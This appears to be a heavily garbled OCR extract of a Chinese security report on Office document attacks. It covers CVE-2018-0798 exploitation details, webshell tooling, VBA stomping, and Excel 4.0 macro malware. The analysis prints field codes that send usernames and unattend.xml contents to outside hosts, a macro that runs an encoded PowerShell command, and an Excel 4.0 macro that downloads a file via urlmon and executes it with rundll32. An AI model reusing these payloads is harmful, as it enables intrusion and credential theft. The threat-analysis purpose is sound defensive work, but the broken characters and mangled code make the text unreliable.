22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F %40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%245%30(%24u)%
3F%24u%5B%22name%22%50%3A%40get_current_user()%3B%24R. %3Dphp_uname()%3B%24R.%3D%22%09%7 B %245%7D%22%3Bech
0%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7" 3A%2F %2F %22 %24 e-%3EgetMessage()%38%70%3Baso
utput()%3Bdie()%38

T

46 +

o
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]
]
]
AntSword #EE BO B .
PlugStore
[ 20 [ 0]
& Remote Repository #- Local Repository & Settings m
BugScan ffiff: [ Xoo] £t disable_functions [ Xo)
@aMedici.Ya 2018-11-14v0.1 @Medicean & hown 2019-08-19v0.5
iiT Webshell 4] & BugScan 751 % il disable_functionfh 4, fii H php-cli
£ B AR A Hu T S web IR %, 5 th R A web{t
P51 iZwebBR % I

PHP PHP

a | a
i URL ® = [IRTLVS ] ® =
@Medicea 2019-04-14v0.1 @Medicea 2019-05-16 v0.1

EHIS' pHpa PHP ASP ASPX =

CUSTOM PHP ASP ASPX CUSTOM

e | Py

47 *

Webshell
]
J ]

®
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DfficeBiEAEME ° ’

4.1 2019 Office Do >

2019 Office
] CVE 20180798
CVE 2017-11882
VBA Stomping  Excel4.0

20 Office 1 Office
60.23% 57.1% VBA 3.04% Excel.0 27.48%
ODay NDay 1.08% DDE

OLE ]

OFFICE
ole

12% \
—

e

27% R vba
57%
excel 4.0 _/
3%
48 Office ¢
4.1.10Office
CVE 2019 0540
CVE 20190561 CVE2019 0801 1
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CVE 2018-4878

CVE 2018- 0735(9)/80 CVE 2012-0158
5% \ 2% / 13%

CVE 2018-0802 CVE 2017-0199
3% [ 10%

\_CVE 2018-8174
6%

CVE 2017- 11882/ \ CVE 2017-8759

47% 5%
49 Office - A
2017 NDay
CVE2017-11882 ]
CVE 2018-0798 2019
2018 CVE 2017-11882 )|
Moniker CVE 2017-01991 CVE 2017-8570 CVE2017-8759
CVE2018-8174 loader

CVE2017-11826 CVE2015 1641
)
EPS CVE2017-0261 CVEZ2017-0262 CVEZ2015 2545 EPS
]

CVE 2012-0158 CVE2014-4114
rtf CVE 2010-3333 CVE2014-1761 ]
4l 1.2
2018 Excel4.0 shellcode POC
] VBA Excel
4.0 1 2019 4.5%
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Affice BB AE NS

excel 4.0
4%
vba
96%
50 Office E|
2019 Excel4.0 1

2019 Excel 4.0

1800
1600
1400
1200
1000
800
600
400
200

0

ql g2 a3 a4
512019 Excel4.0 “
VBA 2019 VBAStomping Office

)

42 1 Dp Ne

®
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Office A AME

42.1
4.2.1.1CVE 2018-0798

CVE 2018-0798 CVE2017-11882

ASLR
]
2019 4
shellcode
shellcodel CVE 2018-0802
ASLR ]
equation native matrix

2018-0798lI

MATRIX record (5):

Consists of:

tag (5)

[ ] if xfLMOVE is set

[valign] vertical alignment of matrix within container
[h_just] horizontal alignment within columns

[v_just] vertical alignment within columns
[rows] number of rows

[cols] number of columns

[row_parts] row partition line types
[col_parts] column partition line types

shellcodel

tag=5 CVE

[ ] list of , one for each element of the matrix, in order from left-

to-right and top-to-bottom

52 MATRIX

35 33 44 &0
60 &0 &0 &0 &80 €0 60 61 &1 61 €1 &1 €1 &1 61 &1
6l 61 61 &1 61 €1 &1 FB OB 00 00 E8 FF FF FF FF
C2 5E 83 Ce 11 33 C5 6& BS 28 11 80 36 BS 48 E2

53 CVE 2018 0798 MATRIX

ddddadadad
aaaaaaall. . .eyyyy
L~fE.3Ef* (.€6°F&

MELERAIRS(2019-2020)
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col_parts

matrix

rows=0x20 cols=0x80l

int  cdecl ReadData{ int16 count, BYTE =buffer)

{

_int16 v2; f7 sTOC 2@2
int result; // eax@2

__int16 size; /7 [sp+18h] [bp+8h]@1

size = (2 =* count + 9) >» 3;

while { 1 )
1

u? = gize——;

result = uwZ;

if ( tu2 )

break;

*huffer++ = GetByte();

¥

return result;

54 CVE 2018-0798

size = (2 * count+ 9) / 8

0x09 Ox2A ]
matrix ]

55 CVE 2018 0798

A

int _ cdecl sub_&443E34{int a1, __int1é6 a2, _ inti1s
{
char valign; £/ ST24 161
int wa; /7 ST20 4@
int row parts; 7/ [sp+14h] [bp-14h]@1
int v?; // [sp+18h] [bp-18h]@E1
int col parts; // [sp+1Ch] [bp-Ch]@1
int v9; /7 [sp+28h] [bp-8h]@1
char h_just; /7 [sp+24h] [bp-4h]@1
char v_just; // [sp+25h] [bp-3h]@1
unsigned  int8 rows; // [sp+26h] [bp-2h]@1
unsigned __int8 cols; // [sp+27h] [bp-1h]@1
row_parts = 8;
ui = B;
col_parts = 8;
vl = B;
sub_43B3IL0{&a2, &aldl;
valign = GetByte{)};
h_just = GetByte{};
u_just = GetByte()};
rows = GetBytel):
cols = GetByte():
ReadData{rows, &row parts);
ReadData({cols, &col _parts);
vl = sub_4428FB{al, a?, a3, &ow parts, valign};
sub_437CoD{vy, 8);
return vi;
H

A

ad)

row_parts

MELERAIRS(2019-2020)
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B812F3E8| O812F5EQ
B812F3EC| B812F7EY
B812F3F6| 08000006
B812F3F4| B8812F7EY
B812F3F8| 0BOO0BOOG
8812F3FC| GAAAAAAA|row_paris
8812F480( OB0000O08
8812F404| GOAG6AAA|col parts
B812F488( OB0O0B0O8
B812F48C( OB00B0O08
B812F31 08| -0812F448 |ebp
B812F 414 (| B843A851
8812F418 (| 88311FD8B | ASCIT
8812F41C || 68120008
B812F420(| DB000B008
B812F424(| DBOOG0B0O3
B812F428 (] B812F5ED

56 CVE 2018-0798 A4 3

row_parts 0x08
col_parts row_parts 0x09 0x43 col_parts
] row_parts  col_parts 0x18 0x10 ]
col_parts 0x2A ebp ]

B812F3E8| BO12FSER

B812F3EC| BB12F7EL

B812F3F 8| 0B0BOBOG

B012F3F4| B012F7EY

B812F3F8| B0000B332

A8812F3FC| B1BD3CH5 |[Frow parts
8812F4008| BBOOBBOA

B812F484| CA831448|Fcol_parts
B812FL4B8| LFEBFFAD

BE12F48C| 414248647

B012F418| 51515151 | [Hed
B812F414| 58585858

B812F418|| BOoBOOBOA

BE12F41C| | 424258080

B012F428 (| 424206EB

B912F42Y4| OO0BOBL2

B812F428| G812F5EQ

57 CVE 2018 0798 A4 4

0x50505050
sub 437C9D matrix ]
)|
sub_4428F0 sub_443E34 row_parts
sub_443E34
1
®

° NESERARS(2019-2020) o
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BA4L2BF9
BBLL2BFC
BA4428FD
88442902
AaLL2087
a8442900
88442980
B8442911
80442914
BA442918
B844201C
B844291F
Ba442923
BBLL20926
80442929
BA4L4292C
88442931

8Bu45 B8
8

mov eax,dword ptr ss:i[ebp+8x8]
eax

68 304F45008 EQHEDT32.00454F 30 BT
ES 4332FFFF |call EQNEDT32.00435B4A =H

83Ch 08
8945 FC
66 8B4S
8BuD FC
66 :8941
66 8B4S
8BuD FC
66 :8941
8B7D FC
83cy 32
8B75 14

add esp, 1 (sub_443E3

mov dword ptr ss:[ebp-8x4],eax
mov ax,word ptr ssi[ebp+8z=C]
mov ecx,dword ptr ss:[ebp-8x4]
mou »a%
mov ax,word ptr ssI[ebp+HxTH]
mov ecx,dword ptr ss:[ebp-8xz4]
mou ,a%
mov edi,dword ptr ss:[ebp-8x4]
add edi,

mou

B? B5000000 (mov ecx,

F3:A%

B1F1F76, (ASCII
ss:[BB12F3CB]=80012FSER

R Lt

A81F1F76
H91F1F86
A01F1F26

de1F1FAG
G81F1FBG
G81F1FCh
ga1F1FDG

row_parts 0x14

rFep movs

“BOE")

58 CVE 2018-0798 A4 5

59 CVE 2018-0798 A4 6

0x454F30 1 2
] )

1[int _ cdecl sub_ 437C?D{int a1, int a2)

sub_437C9D

matrix

__int16 w2; /f
__int16 vw3; /f
int wh; 7
= *#{ WORD =){ + 483 ;
= *#{ WORD =){ + 423
vhile { {unsigned  int&8)GetByte{) )}

{

sub_43A78F();
sub_4371C8{al, ’ ¥s

return ;

60 CVE 20180798 A4 7

0

matrix
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1C 00 00 00 02 00 03 C4
FO 55 5% 00 04 F3 S& 00
oD OD ORA OD OD O& 01 01
02 88 34 00 02 88 38 35

2
BD 01 00 8B 00 8B 43 40
46 42 41 51 51 51

51 =50

Ty (= o9 /e 117 g = B il ] Lot

E4 1F 00 00 00 00 00 00
00 00 00 00 03 01 01 03 G+Y. . 0V.........
02 88 34 00 02 B8 34 00 - -
35 33 36 00 20 B8O 05 3C ."4..76855368. €.«
14 83 CO 6D FF E0 47 47 | 2. .<.<C@.fimyacc
50 50 50 00 Q0 00 00 00 FBRAOQOOOFFFP. .. ..

Do o 17 om e DR A TN ';--""\-J.'I‘ 'D'E‘-F:I.n' L

61 CVE 2018 0798 b4 8

BB12F35Y
BB12F358
B812F35C
B812F368
BB12F36Y
B812F368
B812F36C
AB12F378
AB12F37Y

B812F378
B812F37C

B812F7EY
Be0ea0aas
gaoeaaas
B812F378
Ba43n72F
881208835
B812FSEB
B812F7EY
BA43A851
BB1F1F7h
ga4458 08

ASCIT "vER™
EOQHEDT32 . AB43IAT2F

JE[OF| EQNEDT32.0843A851
ASCII "' BOE"
EQNEDT32 . 00445800

62 CVE 2018- 0798 A4 9

BE12F354
B812F358
BE12F35C
BE12F360
BE12F364
BE12F368

BE12F36C
BE12F370A
BE12F37 Y
BE12F378
BE12F37C

B012F7EL

00000635

60606060

60606060

61616161

61616161
61616161 | BESREMOEE16{
61616161 | B E*E

00430BFE| EQNEDT32 . 0043 0EFB
B81F1F76|ASCII "B0E"
004400068 EQNEDT32 . 0440000

63 CVE 20180798 A4 10

16
ASLR
matrix

shellcode

ebp
retl CVE 2018- 0802

0 sub_437C9D 0
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o
4.2.1.2 oday
Oday ]
1) CVE2019-0540
CVE 2019 0540 IncludePicture ] word
]
IncludePicture
word ] URL
word URL
word ] ]
CVE 2019 0540 IncludePicture
URL UserName ]

{ INCLUDEPICTURE \d "http://192.168.1.7:8000/{ USERNAME \* MERGEFORMAT }" \*
MERGEFORMATINET }

64 CVE 2019 0540
)|
2] CVE2019-0561
CVE 2019 0561 IncludeText IncludePicture
| 2002 CVE 2002-
1143 IncludeText ]
MacroButton IncludeText 1
MacroButton UpdateFieldd IncludePicture
] IncludeText

{ MACROBUTTON UpdateFields { INCLUDEPICTURE \d

"http://icons.iconarchive.com/icons/google/noto-emoji-animals-nature/256/22212-monkey-icon.png”
\* MERGEFORMATINET }{ INCLUDEPICTURE "http://192.168.178.11/?{ INCLUDETEXT
"c:\\windows\\panther\\unattend.xml" \c XML \* MERGEFORMAT }" \d \* MERGEFORMAT }}

65 CVE 2019 0561

o
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4.2.2

4.2.2.1VBAStomping

Outflank EvilClippy ]
Office
pcode Office ]
pcode
Office ]
pcode Office  pcode

2.2.4.2 Module Stream: Visual Basic Modules

Specifies the source code for a module.

1 2 3
0|1|2|3|4|5|6|7|8[(9|0|1(2|3|4|(5|6|7|8|9|0|1|2|3|4[(5|6|7|(8|9|0(1

PerformanceCache (variable)

CompressedSourceCode (variable)

66 Module Stream

module stream Compresse&lSourceCode
module stream dir module
stream ]
]
] Office ]
PerformanceCache pcode
module stream )
pcode ] Office  pcode
Office pcodel
Office pcode VBA
] Office Office ]
CompressedSourceCode
pcode ]

o
° MELERAIRS(2019-2020) .
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P+ Uablsssanbysd..,

VBA Stomping
0x97 Office 2010 J

_VBA PROJECT

%% 0a60888abb9346aa249a6b188d7f6  As HEX | AsText | AsPicture | AsRTF |  as HTML

0803
0502
Qogo
4700
4500
2000
3000
3000
2400
5C00
2000
7800
€000
7300
€F00
€500

C

OROB
0ooo
Qooo
TBOO
4€00
2000
2D00
3000
2E00
5000
4€00
3200
EF00
5C00
€€00
€400

0CoD
0s04
0100
3000
2D00
2000
2000
3000
3200
7200
€500
3600
€ED0
4D00
7400
sCo0

K4

OEOF
oooo
0500
3000
3000
2000
3000
3000
2200
€F00
€C00
2500
2000
€900
2000
S€00

0123456783RABCDEF
iaD_.. S
=
JR R - I

0.2.0.4 . E.F.-.0

Og.0.0.-.0.0.0.0

-.C.0o.0.0.-.0_0.
0.0.0.0.0.0.0_0.
4.6.}.8.4...2._%._
S.#.C.:.V.FP.r.o.
g.r.a.m. .F.i.1l.
e.s. .{.x.B.&.).
“W.C.o.m.m.o.n. .
F.i.l.e.s.%.M.1i.
c.r.o.s.o.f.t. .
S.h.a.r.e.d.\.V.

nEnon 0001 0803 0405 0607
CCEl 3-3-31 Q0FF
0x010| 404 0100 0000 0000
02020 | 0200 2001 2ROO0 5CO0
0x030 | 3000 3200 3000 3400
0:040 | 2000 3000 2000 2DA0
{7 ThisDocument 0:050 | 2D00 4300 3000 3000
[ FrOECT 0:060 | 3000 3000 3000 3000
: 02070 | 3400 3600 7DO0 2200
[ prodecTim 0x080 | 3500 2300 4300 3A00
{3 1Table 0x050 | €700 7200 €100 €DOO
B OCompObj 0x0&0 | €500 7300 2000 2200
B ODocumentSummaryInformation 0x0B0O | 5C00 4300 €F00 €DO0
[ CsummaryInformation 0:0CO | 4600 €300 €C00 €500
7 Werdbocument 0x0DO | €300 7200 €F00 7300
0x0E0 | 5300 €800 €100 7200
67 VBAStomping
Office2010 pcode
Sub fmto_Open()
UpdateMacro
End Sub
Sub UpdateMacro (]
Dim =str, exec
str = "SHEFAF ghEABOAG A At AESAT 2B qAGUA T wEOACAASOEE AC4 A BOAH"
str = str + "TATQBhAGOAZE] AGEAT AR] AHT AFAA o AE4 ATOEIACOATwEL AG”
str = str + "oAZQEjAHIATABT AHIh cwBOAGUAbR AUAERAT w AuAEMAbwE t AH”
str = str + “AheogBlAHMACwBpAGEAb i Eche sBp AHAM WBOAHT ATQBhAG"
str = str + "OAKABBAERATwAuAEOATOER t AGS Ao zBSAFMAAARAGUATOR t AF
str = str + "OANWBEDAGIALzBEAGUA: ZBOAFOAD sARAEY Ac gBwhG0AD sBAH"
str = str + "MAZQAZADQAIWEOAHT A alBu G e AR AR AR cAHAR zARIAQOEEAF ™
str = str + "UAVAAyADEAdwEDACSAND A AF ciY =BV AFAATQRFAET AR A A1
str = str + "ghEQA="
exec = "
exec = exec t "o
exer = exec t w7
exec = exec t “&”
exec = exec t "
exec = exec + ‘g
exec = exec + "L
exer = exac t 8"
exec = exec + “17
exec = exec + 17
exec = exec + 7
exec = exec t Ve
exec = exac + "
exec = exec t Y&
exer = exec +
Shell [exec)
End Sub

68 VBAStomping €

Office
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|| [GEmD
| Sub Runfle ()
r “hella
End Sub
691 5
pcodedmp pcode

VBA Stomping 1

4.2.2.2

Office

14 ActiveX
ActiveX

InkPicturel Painted

mg Word

Microsoft Office Word.

{ CONTROL msinkaut.InkPicture.1\s }¢

70 N Microsoft InkPictura

pcode

AutoOpen

Microsoft InkPicture

This document was created with an older
version of Microsoft Office

This document is only availible for desktop and laptop versions of

Click "Enable editing" button from the yellow bar above

Once you have enabled editing, please click "Enable content”
button from the yellow bar above

¢ K+ 1

MELERAIRS(2019-2020)
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End Funetion

rkzrqohnznelf = “cergengzwfzc”
11 fqwwdy = 456

" foilunusualfishreport

40

If burgereance <» 1 Then
kzayyanjomxd
‘urtuprszibbwtgymwhhei eimgqui jfu
TATT

* mvhdlsyz £i chobulbmouse

' 482

bur gercanoe = 1

End If

End Sub

Private Sub IndPicturel FPainted (ByVal tdeyraasujfwaanni Az Long, By¥al mmideatlmirohserw As MSINKAUTLib. IInkRectangle)

Fubliec Sub Lrayyqnjewed ()
EICIUSEIN S M

Office ActiveX

Office2010 payload

3 CTWHAT TC A WTOUR WERETTR A niahe woheid

71 Microsoft InkPictura € K+ 2

o Ahamea—hearad fide dhad meered dae dnfaemedian da o meah Aofie

64  win7 Office

Microsoft Forms 2.0 Frame

Framel Layout

Microsoft Forms 2.0 MultiPage

MultiPagel Layout

Microsoft ImageComboBox Control

ImageCombo21 Change

Microsoft InkEdit Control

InkEditl GotFocus

Microsoft InkPicture Control

InkPicturel Painted
InkPicturel_Painting
InkPicturel Resize

System Monitor Control

SystemMonitorl_GotFocus
SystemMonitorl_LostFocus

Microsoft Web Browser

WebBrowserl_ BeforeNavigate2
WebBrowserl_BeforeScriptExecute
WebBrowserl DocumentComplete
WebBrowserl DownloadBegin
WebBrowserl DownloadComplete
WebBrowserl_FileDownload
WebBrowserl_NavigateComplete2
WebBrowserl_NavigateError
WebBrowserl_ProgressChange
WebBrowserl PropertyChange
WebBrowserl SetSecurelLocklcon
WebBrowserl_StatusTextChange
WebBrowserl_TitleChange

72" Lo

Office ActiveX t 1
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Microsoft Forms 2.0 Frame

Framel MouseMove

Microsoft Forms 2.0 MultiPage

MultiPagel MouseMove

Microsoft InkEdit Control

InKEditl _MouseMove

Microsoft InkPicture Control

InkPicturel_MouseMove
InkPicturel_MouseHover
InkPicturel_MouseEnter
InkPicturel Mouseleave

Microsoft Forms 2.0 CheckBox

CheckBox1_MouseMove

Microsoft Forms 2.0 ComboBox

ComboBox1_MouseMove

Microsoft Forms 2.0 CommandButton

CommandButtonl_MouseMove

Microsoft Forms 2.0 Image

Imagel_MouseMove

Microsoft Forms 2.0 Label

Labell_MouseMove

Microsoft Forms 2.0 ListBox

ListBox1 MouseMove

Microsoft Forms 2.0 OptionButton

OptionButtonl_MouseMove

Microsoft Forms 2.0 TabStrip

TabStripl_MouseMove

Microsoft Forms 2.0 TextBox

TextBox1l MouseMove

Microsoft Forms 2.0 Toggle Button

ToggleButtonl_MouseMove

Microsoft ListView Control, version 6.0

ListView41l MouseMove

Microsoft ProgressBar Control, version
6.0

ProgressBar21_MouseMove

Microsoft Slider Control, version 6.0

Slider21_MouseMove

Microsoft StatusBar Control, version 6.0

StatusBar31_MouseMove

Microsoft TabStrip Control, version 6.0

TabStrip31_MouseMove

73~ Lo~ ’

2) AutoClose
Office AutoOpen

Office ActiveX t 2

AutoClose Office

Docunent x| [crose

Frivate Sub ]Jocumem.jlose O
e Hex
Dim DPs] ILKrH'HL

S t eEUnvFBPGsC = E alEUbJECl[ Ly +Uptit o+ "mgt + Y+ + + Sy
DL < Bavizan (IS 0 b ER" ¢ CBOE 1 R 4R B 4 U b g
If Hot eEUuwFBPGsC FolderExxsls (xYeleLNUm\) Tl\en eEUuwFBPGsC Createl’older (xYed.h. L||En.k]

Dim yyrEtFqllldio As Objec
Set yyrEtFoliRo = eEUuwFBl’GsC CreateTextFxle(YDKZBﬂ’gPDd Jras, True)

YyrEtFaikRo. Write “Pu” + " Tt e 4 g ”+ Fu + nr:l
wyrEtFgMkRo Hrite "QPeAFhe! SR e KAkPW ) &V'hE Lf
YrrEtFiiEo. Hrite °] @z vhCrLE
wyrEtFgMkRo Write "
YyrEtFoikRo. Write °] R 0747 b wbCeLE

rEFaMEe Hrite 'FY £ To* + ¥ + "7 4 ¢ SuICKETAlyE ¥ gt -

yrrEtFqkRo. rite "I" + 7" 4 7 * RukPAFAGMI® + ° <7 4 “UBT 4 U 4 Ton” + nd" + 7"
¥rrEtF gikRo. Hir " ' EREREAEANY £ % ¥4 UL ACrLE

yyrEF qkRo. fir + “ BulPAFAKGHM® + " = * + ‘0" & vbCrLE
yyrEtFghkRo. Hir i Y TET & wbCrLE

yrrEtFgMkEe firite "F* + 77 4 Tex + "t 8 ThCrLE

YrrELF qkRo. Hiri te + "HILMGIH & R LE

s EtFaiiRo Write "En” £ "4 74 4 U FT b w7 E nr: + T4 "en” & wbCrLE
yrrEtFaflkEe. frite "Pu + " 4 "BL" + "ig" + 7 Fu" + 7"+ "me” Vo d
yrrEtFqikRo. firite “On Ervor Beguns Hext” 8 vhCrLE

yyrEtFgMkEo. Wnle TFY R TT 4 TR + “r T4 lgTprleAN LR B v + B S L I
yyrEtFhkRo. firite “GPe e IFRL™ + (" + “tgTFpy JiAH] * + "= “ + "hs® + "+ "e" 4 T
yyrEtFghkRo. Hir Tre B b e g o b e

yrrEtF lkRo. Wnle "zCMoBIGJTIE + i ureubcmu & ALE

yyrEtFqMkRo. Write "E - “a" & vhCrLE

74 AutoClose

yrEtFqkRe. Hrite "07 + n B + " e £ et %" + 47 8 vhCrLE
o” " GEWZTBvepE™ + " (" + "AXfAtTmlBoA™ + ")" & whCrLf

YR EtFqMkRe. Hirite 7 AT e G AXEMTmlBoA b e
yeL ik lirite TaITLAMDGINT + ° = : HILexDGDH" N ”+ o o HESRAE M + a0+ J'ChFIrlUyBJ S

yyrEtFqkEo. Hrite "Di" $ T TR ¢ b CQPATLl L 4 7) 6 L
¥ EtFqkEo. Hrite "R” AR Fim T ¥ 0PeMbelTHT” T (Le” L na PURIED " 4 77 )8 AL

Set DPsILKrHHLy = CrealeUbJecl(W B e e Sh + "el £ 4T

Tt ste® + ...n + "Bt Tect”)

+ "o + “men” Th TEsT E TR TMe™ 4 TdiY 4 T 4 YaPT 4 "la" 4 Tye” + 7T 4 k7

YDKEBEPEFOd = =¥ 2dhJLNOnA at + T b TR g gy mpe g e

T TR b T b T

+”—"+ 17 +"J +"UJ &vbCLf
AR+ T 4 o 4 o + PsuC\.lJy‘rlUU) & vbCrLf

" QP eAFbCIFRI) + “T R & vbC LE

T4 “en” + 7 zCMeBIGHTIE" + "(* + "IQrgDDFWNhu)” & wbCrLf

+ "eu" + "nd" T+ UPeAFbchNI) &vbCrLf

1 d + U]Qrgl]l]l’lﬂﬂm ”J +gTFpyP jiAN" L 1%+ ™))% & vhCrLE
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AutoClose Office
WM_CLOSE ]

4.2.2.3Exceld.0

2018 Excel.0 XLM shellcode POC

)|
Excel4.0 XM 30 Microsoft Excel

] VBA Excel 4.0
] Excel 4.0
] Excel
DDE ]
Excel 4.0 Danabot ZLoader Trickbot Gozi
Agent Tesla |

2019 Excel 4.0

] 2019
Excel 4.0 ]
i8]

Excel 4.0 Macro Sheet

Macro Sheet

=] I= 4 Ic Mode] - Microsoft Excel - X
Hame | et pagelsout -0

R & cu Calibri General 2 AltoSim® AT ﬁ

% . = 7l
Paste el B I U- -| 8 nter - BB o 9 | G955 C 8l Fi Sort & Find &
> < Format Painter =7 = 2 = oG (2 QClear™  Fifter~ Select~
Clipboard 5 Font Numbe Editing

| 1) Security Warning  Some active content has been disabled. Click for more details. Enable Content | x
\7 AL B 5 &=
T A ] B C D E E: G H J K L M N (6] = Q R s i u rj{
1

2

; DOCu;fg THIS DOCUMENT IS ENCRYPTED BY

5 (a” =|
: DOCUSIGN PROTECT SERVICE 1
7

8

9

10 |
:; TO DECRYPT DOCUMENT, PLEASE PERFORM THE FOLLOWING STEPS:

13

iedocument was downloaded from your email, please clicl nable editin
14 A If thie o downloaded fi I, pl lick "Enable editing”
]g | e yellow bar above
A Delete

17 |

18 Rename lou have enabled editing, please click "Enable content” on the

19 MoveorCopy..  bar above.

20 & view Code

2 (@ Protect Sheet...

23 Tab Color

gg Hide OT OPEN THIS DOCUMENT?

2 [

:7< 5597] shi—_ Eej’eftA\\sneets InA NS Andeaid e 3 ﬂ'
Ready | |[ED @ 100% = ) (+)

75 Excel 4.0
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00002CC0
00002CD0
00002CEQ
00002CFO
00002000
00002D10
00002020
00002030
00002040
00002D50
00002060
00002070
00002030

00 00 01 00 01 00 01 00 FE FF FE FF

Macro Sheet hsStates 0 )|

53 63 €5 65 74 31 85 00 12 00 FD 72 - Boundsheet{265] 0TQ1ByZPPS 11466 2
0A 00 30 52 51 31 42 78 5A 50 50 35

ok 0a 00 00 00 00 00 00 00 00 00 00 Type 133 11486 2
00 00 00 00 04 00 00 00 B3 08 10 00 Length 18 11468 2
00 00 00 00 00 0O 00 00 00 0O 0O 00

01 00 01 00 AE 01 04 00 02 00 01 04 bpipos 127741 11470 4
01 00 01 3A 17 00 14 00 03 0O 00 00 1474

- unused 11474 1
00 00 00 OE 0B 00 00 00 01 0O 00 00
31 34 35 31 33 34 35 33 34 31 66 66 - dt 1 11475 1
45 00 48 00 12 00 12 00 18 00 1E 00 (- Sheetlame 11476 12
07 00 00 00 00 00 00 00 00 00 00 61
32 33 66 3R 01 00 20 00 12 00 18 00  aawf2s _ [} BIFFRecord_General[266] MTRSettings 11488 28

76 | Macro Sheet hsStates e 0

Datalt...

o Datalt... El

Datalt...
ShortX...
BIFFRe... [

A - hsState (2 bits): An unsigned integer that specifies the hidden state of the sheet (1). MUST
be a value from the following table:

Value

Meaning

000

Wisible

Ox01

Hidden

002

Wery Hidden; the sheet (1) is hidden and cannot be displayed using the user interface.

il

77 hsStates

[=WORKBOOK HIDE["0TQ1ByZPP5"| TRUE) |

OTQ1ByZPPS ¥

2]

78 n- ¥

POC Al

CHAR MID

° NESERARS(2019-2020)
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e u = - n I N | I L
=CHAR(61) =CHAR(61) =CHAR(61) =CHAR(61 HAR(61) =FORMULA(A18A28A38A48A5&AGEATRABRAIZRAT0RAT18A128/
=CHAR(73) =CHAR(73) =CHAR(73) <CHAR(67) =FORMULA® 48558568578 B83B9&B 10851128 128F =IF(GET WORKSPACE(13)<770. CLOSE(FALSE).)

( ( ( 6! HAR(76) =FORMULA(C1&C2&C38C4&C5&CH8CTECEACI&CI0C11&C12&( =IF(GET WORKSPACE(14)<381, CLOSE(FALSE).)

( ( (

=CHAR(40) =CHAR(40) =CHAR(40) =CHAR{
=CHAR(71) =CHAR(71) =CHAR(73) =CHAR(76

=FORMULA(D18D28D38D48D5&D6&D7RDERDIEDT08D11.D12&L =IF(GET.WORKSPACE(19), CLOSE(TRUE))
=FORMULAE E£6RE 10RE41&E 12&E =IF{GET WORKSPACE(42), CLOSE(TRUE))
=FORMULA(F18F28F 3874 &F5RF6RFTAF S&F 94F10&F11&F 128F 1. IF(ISNUMBER(SEARCH(" Windows". GET WORKSPACE(1)). .CLOSE(TRUE))
—CHAR(40) FORMULA(G18G28GTRGS 10&G11&G12 =CALL("urlmo “https-//fbknuele_pw/aagaegddi12
FORMULA(H1&H2&H3&H4&H5 &HE&HT&H8 &HI&H10&H11&H128&+ =ALERT('The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.”.2)
FORMULA(1&I2813&IARI5RI6RITRIBRIILMORI1&I12RI1IKI0)  =CALL("Shell32" "ShellExecuteA" "LICCCAI" 0, open”, "C:-Windowssystem32iundi32.exe”,"c:\L
WORKBOOK HIDE['GE TaUZBvhX" TRUE) =CLOSE(FALSE)

HAR(83) =GOTO(K2)

HAR(BY)

(
(
=CHAR(70) =CHAR(70) =CHAR(70] =CHAR(
(76
(

=CHAR(84) =CHAR(84) =CHAR(78) =CHAR(34

( (

=CHAR(63) =CHAR(63) =CHAR(83) =CHAR(40) =CHAR(84)
(¢ (¢
( (

=CHAR(46) =CHAR(46) =CHAR|

(

(

(

(85) =CHAR(11
=CHAR(87) =CHAR(87) =CHAR(77) =CHAR(114=(

(

((

(

(

E

1| =CHAR(79) =CHAR (79) =CHAR(66) =CHAR(10

=CHAR(82) =CHAR(82) =CHAR(69) =CHAR(10;
(
(
(

=CHAR(75) =CHAR(75) =CHAR(82) =CHAR(11

(( ((
( (
(¢ (¢
fEr
=CHAR(80) =CHAR(80) =CHAR(83) =CHAR(34)
(¢ (¢
(( ((
(t (t
( (

=CHAR(83) =CHAR(83) =CHAR(40] =CHAR(11C =CHAR(119) =CHAR(51) =CHAR(41)
(i =CHAR(50
HAR(65) =CHAR (65] =CHAR(69) =CHAR(44) =CHAR(34)
=CHAR(67) =CHAR(67) <CHAR (65) =CHAR (34) = =CHAR(44)
=CHAR(69) =CHAR(69) =CHAR(82) =CHAR 85} =CHAR(34)
=CHAR(40) =CHAR(40) =CHAR(67) =CHAR (82) =CHAR(83)
=CHAR(49) =CHAR(52) =CHAR(72) =CHAR (76} =CHAR(104)

1
)

3

!

5

5

8

3

)

) =CHAR(57) =CHAR (§0] =CHAR (40] =CHAR(68) =CHAR(107) =CHAR(101)
1 =CHAR(41) =CHAR(41) =CHAR (34 =CHAR (11
2 =CHAR(44) =CHAR (44] =CHAR(
3
!
5
|
3
)
)
1

(
(
(
(
(
(
(
(1
(
(
(
(
(84
(
(

(

(

(

(

( (

(a?) =CHAR(11! (-

=CHAR(44) =CHAR(44) =CHAR( ((

=CHAR(67) =CHAR(67) =CHAR( 1 (

HAR(76) =CHAR (76] =CHAR(10(=CHAR(11 (

5 =CHAR(79) = CHAR(?B]:CHAR(H =CHAR(97) (
=CHAR(83) =CHAR(83) =CHAR(11! =CHAR(10C =CHAR(116) =CHAR(117)
=CHAR(69) =CHAR(69) =CHAR(11{ =CHAR| =CHAR(116)
~CHAR(40] ~CHAR(10) =CHAR(34) ~CHAR(11 =CHAR(101)
=CHAR(B4) =CHAR(84) =CHAR(44) =CHAR(70) =CHAR(65)
=CHAR(82) =CHAR(82) =CHAR(71) =CHAR(10¢ =CHAR(34)

,,
79 v 0 1
=WORKBOOK HIDE('0TQ1ByZPPS", TRUE) =IF(GET.WORKSPACE(42), CLOSE(TRUE))

=GET WORKSPACE(13)

=GET WORKSPACE(14)

=IF(H24<770, CLOSE(FALSE).)

=IF(H25<381, CLOSE(FALSE).)

=IF(GET WORKSPACE(19). CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows" GET WORKSPACE 1))
=RETURN()

=IF(ISNUMBER(SEARCH("s" Sheet11S70)), GOTO(P54), ON.TIME(NOW(}+00:00:02", "rstegerg3"))
=RETURN()
=IF(ISNUMBER(SEARCH
=RETURN()

heet11S70)), GOTO(P54), ON.TIME(NOW()+"00:00:02", "agawf23f)}

2

(=l

80 v

81 v 1] 3

1 Excel 4.0

Excel 4.0 ]

o
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’
| Mame Manager M

v ] [t ] [ oo

Name Value Refers To Scope Comment
=1 _1451345341FFF T =Sheet1!85570:55573 Sheetl
=l agawf23f TRLE =0T 1ByZPP515U533 Workbook
='ITQ1ByZPP515H%23 Waorkbook
=l rstegerg3 TRLUE ='0TQ1ByZPP5 158535 Workbook
< | 1 3
Refers to:

#|[v] | =orqiByzrrsIsHs23

LBL fHidden 1 ]

o
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r
MName Manager M
Mame Value Refers To Scope Comment
1| 1 [ I
Refers to:
